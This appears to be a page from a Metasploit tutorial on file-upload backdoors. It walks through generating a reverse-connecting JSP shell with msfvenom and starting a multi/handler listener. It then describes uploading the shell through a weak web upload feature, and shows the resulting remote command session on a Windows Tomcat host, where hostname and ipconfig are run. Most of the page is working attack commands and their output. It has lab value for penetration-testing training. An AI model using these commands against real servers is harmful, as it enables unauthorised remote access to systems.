File-Upload Backdoors a11y.text File-Upload Backdoors Amongst its many tricks, Metasploit also allows us to generate and handle Java based shells to gain remote access to a system. There are a great deal of poorly written web applications out there that can allow you to upload an arbitrary file of your choosing and have it run just by calling it in a browser. We begin by first generating a reverse-connecting jsp shell and set up our payload listener. root@kali : ~ # msfvenom -a x86 --platform windows -p java/jsp_shell_reverse_tcp LHOST = 192.168 .1.101 LPORT = 8080 -f raw

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp

PAYLOAD => java/jsp_shell_reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(handler) > set LPORT 8080

LPORT => 8080

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:8080

[*] Starting the payload handler... At this point, we need to upload our shell to the remote web server that supports jsp files. With our file uploaded to the server, all that remains is for us to request the file in our browser and receive our shell. [*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.201:3914) at Thu Feb 24 19:55:35 -0700 2011

hostname

hostname

xen-xp-sploit

C:\Program Files\Apache Software Foundation\Tomcat 7.0>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix . : localdomain

IP Address. . . . . : 192.168.1.201

Subnet Mask . . . . . : 255.255.255.0

Default Gateway . . . . . : 192.168.1.1

C:\Program Files\Apache Software Foundation\Tomcat 7.0> Next File Inclusion Vulnerabilities Prev MSF vs OS X